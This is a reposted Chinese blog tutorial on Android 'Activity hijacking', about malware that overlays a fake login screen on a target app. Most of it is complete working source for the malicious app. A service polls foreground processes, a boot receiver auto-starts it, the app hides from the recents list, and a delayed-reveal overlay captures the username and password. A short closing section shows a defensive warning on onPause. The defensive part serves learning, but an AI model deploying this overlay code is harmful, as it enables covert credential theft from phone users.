Activity劫持实例与防护手段

2017-11-15 468

（本文只用于学习技术，提高大家警觉，切勿用于非法用途！）

什么叫Activity劫持

这里举一个例子。用户打开安卓手机上的某一应用，进入到登陆页面，这时，恶意软件侦测到用户的这一动作，立即弹出一个与该应用

界面相同的Activity，覆盖掉了合法的Activity，用户几乎无法察觉，该用户接下来输入用户名和密码的操作其实是在恶意软件的Activity上进行的，接下来会发生什么就可想而知了。

实例

Activity劫持的危害是非常大的，它的具体实现和一些细节，我将会用一个完整的实例说明：

首先，我们在Android Studio中新建一个工程，项目结构如下：

activity_main.xml的内容：
点击(此处)折叠或打开

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

    android:layout_height="match_parent" >

    <TextView

        android:layout_width="match_parent"

        android:layout_height="wrap_content"

        android:text="Normal Activity"

        android:gravity="center_horizontal"

        android:padding="10dp"

        android:background="#ffffff"/>

    <LinearLayout

        android:id="@+id/Layout1"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_centerHorizontal="true"

        android:layout_marginTop="80dp"

        android:orientation="horizontal">

        <TextView

            android:text="UserName"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:textColor="#000000"

            android:textSize="20dp" />

        <EditText

            android:id="@+id/UserNameEdit"

            android:layout_width="100dp"

            android:layout_height="wrap_content" />

    </LinearLayout>

    <LinearLayout

        android:id="@+id/Layout2"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_centerHorizontal="true"

        android:layout_marginTop="50dp"

        android:orientation="horizontal"

        android:layout_below="@id/Layout1">

        <TextView

            android:text="Password"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:textColor="#000000"

            android:textSize="20dp" />

        <EditText

            android:id="@+id/PasswordEdit"

            android:layout_width="100dp"

            android:layout_height="wrap_content" />

    </LinearLayout>

    <Button

        android:id="@+id/LoginButton"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_below="@id/Layout2"

        android:layout_marginTop="5dp"

        android:layout_centerHorizontal="true"

        android:text="Login"/>

</RelativeLayout>

activity_second.xml的内容：只是一个TextView控件，显示"Second Activity"而已，就不贴代码了。

MainActivity.java的内容：

点击(此处)折叠或打开

package com.example.hac.normalapp;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

//一个简单的界面，模拟用户输入用户名、密码，点击按钮后就跳转到SecondActivity

//只是为了演示正常的Activity而已，无实际功能

public class MainActivity extends Activity {

    Button login = null;

    EditText userName = null;

    EditText password = null;

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        login = (Button)findViewById(R.id.LoginButton);

        userName = (EditText)findViewById(R.id.UserNameEdit);

        password = (EditText)findViewById(R.id.PasswordEdit);

        login.setOnClickListener(new View.OnClickListener() {

            @Override

            public void onClick(View view) {

                Intent intent = new Intent(MainActivity.this, SecondActivity.class);

                //启动SecondActivity

                startActivity(intent);

            }

        });

    }

}

SecondActivity.java的内容：无内容，就是一个空的Activity,用于显示activity_second.xml的内容而已，不贴代码啦。
AndroidMainfest.xml的内容：就是普通的内容，不贴代码了。

接下来是我们的恶意软件，再新建一个工程，项目结构如下：

activity_fakemain.xml的内容：我们伪造的Activity布局，模仿上面正常的Activity布局。

点击(此处)折叠或打开

<RelativeLayout xmlns:android="http://schemas.android.com/apk/res/android"

    xmlns:tools="http://schemas.android.com/tools" android:layout_width="match_parent"

    android:layout_height="match_parent" >

    <TextView

        android:layout_width="match_parent"

        android:layout_height="wrap_content"

        android:text="Normal Activity"

        android:gravity="center_horizontal"

        android:padding="10dp"

        android:background="#ffffff"

        android:visibility="invisible"/>

    <LinearLayout

        android:id="@+id/Layout1"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_centerHorizontal="true"

        android:layout_marginTop="80dp"

        android:orientation="horizontal">

        <TextView

            android:text="UserName"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:textColor="#000000"

            android:textSize="20dp"

            android:visibility="invisible"/>

        <EditText

            android:id="@+id/UserNameEdit"

            android:layout_width="100dp"

            android:layout_height="wrap_content"

            android:visibility="invisible"/>

    </LinearLayout>

    <LinearLayout

        android:id="@+id/Layout2"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_centerHorizontal="true"

        android:layout_marginTop="50dp"

        android:orientation="horizontal"

        android:layout_below="@id/Layout1">

        <TextView

            android:text="Password"

            android:layout_width="wrap_content"

            android:layout_height="wrap_content"

            android:textColor="#000000"

            android:textSize="20dp"

            android:visibility="invisible"/>

        <EditText

            android:id="@+id/PasswordEdit"

            android:layout_width="100dp"

            android:layout_height="wrap_content"

            android:visibility="invisible"/>

    </LinearLayout>

    <Button

        android:id="@+id/LoginButton"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:layout_below="@id/Layout2"

        android:layout_marginTop="5dp"

        android:layout_centerHorizontal="true"

        android:text="Login"

        android:visibility="invisible"/>

</RelativeLayout>

activity_main.xml的内容：

点击(此处)折叠或打开

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:orientation="vertical" android:layout_width="match_parent"

    android:layout_height="match_parent">

    <TextView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="Start"

        android:textSize="50dp"/>

    <Button

        android:id="@+id/StartServiceButton"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="StartService"

        android:padding="20dp"

        android:layout_gravity="center_horizontal"/>

</LinearLayout>

activity_main.xml的内容：

点击(此处)折叠或打开

<?xml version="1.0" encoding="utf-8"?>

<LinearLayout xmlns:android="http://schemas.android.com/apk/res/android"

    android:orientation="vertical" android:layout_width="match_parent"

    android:layout_height="match_parent">

    <TextView

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="Start"

        android:textSize="50dp"/>

    <Button

        android:id="@+id/StartServiceButton"

        android:layout_width="wrap_content"

        android:layout_height="wrap_content"

        android:text="StartService"

        android:padding="20dp"

        android:layout_gravity="center_horizontal"/>

</LinearLayout>

AutoStartReceiver.java的内容：

点击(此处)折叠或打开

package com.example.hac.evilapp;

import android.content.BroadcastReceiver;

import android.content.Context;

import android.content.Intent;

//用于开机自动启动HijackService的Receiver，它能够响应“android.intent.action.BOOT_COMPLETED”

public class AutoStartReceiver extends BroadcastReceiver {

    @Override

    public void onReceive(Context context, Intent intent) {

        if (intent.getAction().equals("android.intent.action.BOOT_COMPLETED")) {

            Intent _intent = new Intent(context, HijackService.class);

            //启动HijackService

            context.startService(_intent);

        }

    }

}

EvilApplication.java的内容：

点击(此处)折叠或打开

package com.example.hac.evilapp;

import android.app.Application;

import java.util.ArrayList;

import java.util.List;

public class EvilApplication extends Application{

    //存放已经被劫持的程序

    List<String> hijackedList = new ArrayList<String>();

    public boolean hasProgressBeHijacked(String processName) {

        return hijackedList.contains(processName);

    }

    public void addHijacked(String processName) {

        hijackedList.add(processName);

    }

    public void clearHijacked() {

        hijackedList.clear();

    }

}

FakeMainActivity.java的内容：

点击(此处)折叠或打开

package com.example.hac.evilapp;

import android.app.Activity;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

import android.widget.Toast;

import java.util.Timer;

import java.util.TimerTask;

public class FakeMainActivity extends Activity {

    Button login = null;

    EditText userName = null;

    EditText password = null;

    @Override

    protected void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_fakemain);

        login = (Button)findViewById(R.id.LoginButton);

        userName = (EditText)findViewById(R.id.UserNameEdit);

        password = (EditText)findViewById(R.id.PasswordEdit);

        //下面这段代码主要是为了使用户更难察觉出我们伪造的Activity

        //原理是保证我们伪造的Activity已经覆盖在真实的Activity上后，再将我们的控件显示出来

        //我本来是想让我们伪造的Activity直接在原位淡入的，但没有实现，郁闷

        //无奈只能用这个本方法，如果大家有更好的办法，请赐教

        Timer timer = new Timer();

        TimerTask task = new TimerTask() {

            @Override

            public void run() {

                runOnUiThread(new Runnable(){

                    @Override

                    public void run() {

                        userName.setVisibility(View.VISIBLE);

                        password.setVisibility(View.VISIBLE);

                        login.setVisibility(View.VISIBLE);

                    }});

            }

        };

        timer.schedule(task, 1000);

        login.setOnClickListener(new View.OnClickListener() {

            @Override

            public void onClick(View view) {

                //这里为了显示效果，将用户输入的内容显示出来，真正的恶意软件则会直接将信息发送给自己

                Toast.makeText(getApplicationContext(), userName.getText().toString() + " / " + password.getText().toString(), Toast.LENGTH_LONG).show();

                //为了伪造的Activity弹出时不那么明显

                userName.setVisibility(View.INVISIBLE);

                password.setVisibility(View.INVISIBLE);

                login.setVisibility(View.INVISIBLE);

                finish();

            }

        });

    }

}

HijackService.java的内容：

点击(此处)折叠或打开

package com.example.hac.evilapp;

import android.app.ActivityManager;

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.os.Handler;

import android.os.IBinder;

import android.util.Log;

import java.util.HashMap;

import java.util.List;

public class HijackService extends Service {

    //targetMap用于存放我们的目标程序

    HashMap<String, Class<?>> targetMap = new HashMap<String, Class<?>>();

    Handler handler = new Handler();

    boolean isStart = false;

    //我们新建一个Runnable对象，每隔200ms进行一次搜索

    Runnable searchTarget = new Runnable() {

        @Override

        public void run() {

            //得到ActivityManager

            ActivityManager activityManager = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);

            //通过ActivityManager将当前正在运行的进程存入processInfo中

            List<ActivityManager.RunningAppProcessInfo> processInfo = activityManager.getRunningAppProcesses();

            Log.w("恶意软件", "遍历进程");

            //遍历processInfo中的进程信息，看是否有我们的目标

            for (ActivityManager.RunningAppProcessInfo _processInfo : processInfo) {

                //若processInfo中的进程正在前台且是我们的目标进程，则调用hijack方法进行劫持

                if (_processInfo.importance == ActivityManager.RunningAppProcessInfo.IMPORTANCE_FOREGROUND) {

                    if (targetMap.containsKey(_processInfo.processName)) {

                        // 调用hijack方法进行劫持

                        hijack(_processInfo.processName);

                    } else {

                        Log.w("进程", _processInfo.processName);

                    }

                }

            }

            handler.postDelayed(searchTarget, 200);

        }

    };

    //进行Activity劫持的函数

    private void hijack(String processName) {

        //这里判断我们的目标程序是否已经被劫持过了

        if (((EvilApplication) getApplication())

                .hasProgressBeHijacked(processName) == false) {

            Log.w("恶意软件", "开始劫持"+processName);

            Intent intent = new Intent(getBaseContext(),

                    targetMap.get(processName));

            //这里必须将flag设置为Intent.FLAG_ACTIVITY_NEW_TASK，这样才能将我们伪造的Activity至于栈顶

            intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);

            //启动我们伪造的Activity

            getApplication().startActivity(intent);

            //将目标程序加入到已劫持列表中

            ((EvilApplication) getApplication()).addHijacked(processName);

            Log.w("恶意软件", "已经劫持");

        }

    }

    @Override

    public void onStart(Intent intent, int startId) {

        super.onStart(intent, startId);

        if (!isStart) {

            //将我们的目标加入targetMap中

            //这里，key为我们的目标进程，value为我们伪造的Activity

            targetMap.put("com.example.hac.normalapp",

                    FakeMainActivity.class);

            //启动searchTarget

            handler.postDelayed(searchTarget, 1000);

            isStart = true;

        }

    }

    @Override

    public boolean stopService(Intent name) {

        isStart = false;

        Log.w("恶意软件", "停止劫持");

      //清空劫持列表

        ((EvilApplication) getApplication()).clearHijacked();

      //停止searchTarget

        handler.removeCallbacks(searchTarget);

        return super.stopService(name);

    }

    @Override

    public IBinder onBind(Intent intent) {

        return null;

    }

}

StartServiceActivity.java的内容：

点击(此处)折叠或打开

package com.example.hac.evilapp;

import android.app.Activity;

import android.content.Intent;

import android.os.Bundle;

import android.view.View;

import android.widget.Button;

//用于手动启动我们的HijackService，真正的恶意软件通常不会有这样的一个Activity

public class StartServiceActivity extends Activity {

    Button startButton = null;

    @Override

    public void onCreate(Bundle savedInstanceState) {

        super.onCreate(savedInstanceState);

        setContentView(R.layout.activity_main);

        startButton = (Button)findViewById(R.id.StartServiceButton)；

        startButton.setOnClickListener(new View.OnClickListener() {

            @Override

            public void onClick(View view) {

                Intent intent2 = new Intent(StartServiceActivity.this, HijackService.class);

                startService(intent2);

            }

        });

    }

}

colors.xml的内容：

点击(此处)折叠或打开

<?xml version="1.0" encoding="utf-8"?>

<resources>

    <color name="translucent_background">#00000000</color>>

</resources>

styles.xml的内容：

点击(此处)折叠或打开

<resources>

    

    <style name="AppTheme" parent="Theme.AppCompat.Light.DarkActionBar">

        

    </style>

    <style name="translucent" parent="Theme.AppCompat.Light.DarkActionBar">

        <item name="android:windowBackground">@color/translucent_background</item>

        <item name="android:windowIsTranslucent">true</item>

        <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item>

    </style>

</resources>

AndroidMainfest.xml的内容：注意HijackService和AutoStartReceiver要在这里注册，且要添加相应的权限。另外，添加andorid:excludeFromRecent="true"这一项能够防止我们的恶意程序在最近访问列表中出现，这将提升其危险程度。

点击(此处)折叠或打开

<?xml version="1.0" encoding="utf-8"?>

<manifest xmlns:android="http://schemas.android.com/apk/res/android"

    package="com.example.hac.evilapp" >

    <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED" />

    <application

        android:name=".EvilApplication"

        android:allowBackup="true"

        android:icon="@drawable/ic_launcher"

        android:label="@string/app_name"

        android:theme="@style/AppTheme" >

        <activity

            android:name=".StartServiceActivity"

            android:label="@string/app_name"

            android:excludeFromRecents="true">

            <intent-filter>

                <action android:name="android.intent.action.MAIN" />

                <category android:name="android.intent.category.LAUNCHER" />

            </intent-filter>

        </activity>

        <activity android:name=".FakeMainActivity" android:excludeFromRecents="true" android:theme="@style/translucent"/>

        <service android:name=".HijackService" ></service>

        <receiver

            android:name=".AutoStartReceiver"

            android:enabled="true"

            android:exported="true" >

            <intent-filter>

                <action android:name="android.intent.action.BOOT_COMPLETED" />

            </intent-filter>

        </receiver>

    </application>

</manifest>

项目工程下载（ChinaUnix对文件大小有限制，只能传百度网盘了）：
http://pan.baidu.com/s/1eQ8JF5w

防护手段

目前，还没有什么专门针对Activity劫持的防护方法，因为，这种攻击是用户层面上的，目前还无法从代码层面上根除。

但是，我们可以适当地在APP中给用户一些警示信息，提示用户其登陆界面以被覆盖，并给出覆盖正常Activity的类名，示例如下：

1、在前面建立的正常Activity的登陆界面（也就是MainActivity）中重写onKeyDown方法和onPause方法，这样一来，当其被覆盖时，就能够弹出警示信息，代码如下：

点击(此处)折叠或打开

    @Override

    public boolean onKeyDown(int keyCode, KeyEvent event) {

        //判断程序进入后台是否是用户自身造成的（触摸返回键或HOME键），是则无需弹出警示。

        if((keyCode==KeyEvent.KEYCODE_BACK || keyCode==KeyEvent.KEYCODE_HOME) && event.getRepeatCount()==0){

            needAlarm = false;

        }

        return super.onKeyDown(keyCode, event);

    }

    @Override

    protected void onPause() {

       //若程序进入后台不是用户自身造成的，则需要弹出警示

        if(needAlarm) {

            //弹出警示信息

            Toast.makeText(getApplicationContext(), "您的登陆界面被覆盖，请确认登陆环境是否安全", Toast.LENGTH_SHORT).show();

            //启动我们的AlarmService,用于给出覆盖了正常Activity的类名

            Intent intent = new Intent(this, AlarmService.class);

            startService(intent);

        }

        super.onPause();

    }

2、实现AlarmService.java，代码如下：

点击(此处)折叠或打开

package com.example.hac.normalapp;

import android.app.ActivityManager;

import android.app.Service;

import android.content.Context;

import android.content.Intent;

import android.os.Handler;

import android.os.IBinder;

import android.widget.Toast;

public class AlarmService extends Service{

    boolean isStart = false;

    Handler handler = new Handler();

    Runnable alarmRunnable = new Runnable() {

        @Override

        public void run() {

            //得到ActivityManager

            ActivityManager activityManager = (ActivityManager)getSystemService(Context.ACTIVITY_SERVICE);

            //getRunningTasks会返回一个List，List的大小等于传入的参数。.runningtaskinfo>

            //get(0)可获得List中的第一个元素，即栈顶的task

            ActivityManager.RunningTaskInfo info = activityManager.getRunningTasks(1).get(0);

            //得到当前栈顶的类名，按照需求，也可以得到完整的类名和包名

            String shortClassName = info.topActivity.getShortClassName(); //类名

            //完整类名

            //String className = info.topActivity.getClassName();

            //包名

            //String packageName = info.topActivity.getPackageName();

            Toast.makeText(getApplicationContext(), "当前运行的程序为"+shortClassName, Toast.LENGTH_LONG).show();

        }

    };

    @Override

    public int onStartCommand(Intent intent, int flag, int startId) {

        super.onStartCommand(intent, flag, startId);

        if(!isStart) {

            isStart = true;

            //启动alarmRunnable

            handler.postDelayed(alarmRunnable, 1000);

            stopSelf();

        }

        return START_STICKY;

    }

    @Override

    public IBinder onBind(Intent intent) {

        return null;

    }

}

3、最后在AndroidManifest.xml中注册AlarmService即可。

新手发文，写得不对不好的地方麻烦指出，谢谢。

本文转自ljianbing51CTO博客，原文链接：
http://blog.51cto.com/ljianbing/1879519
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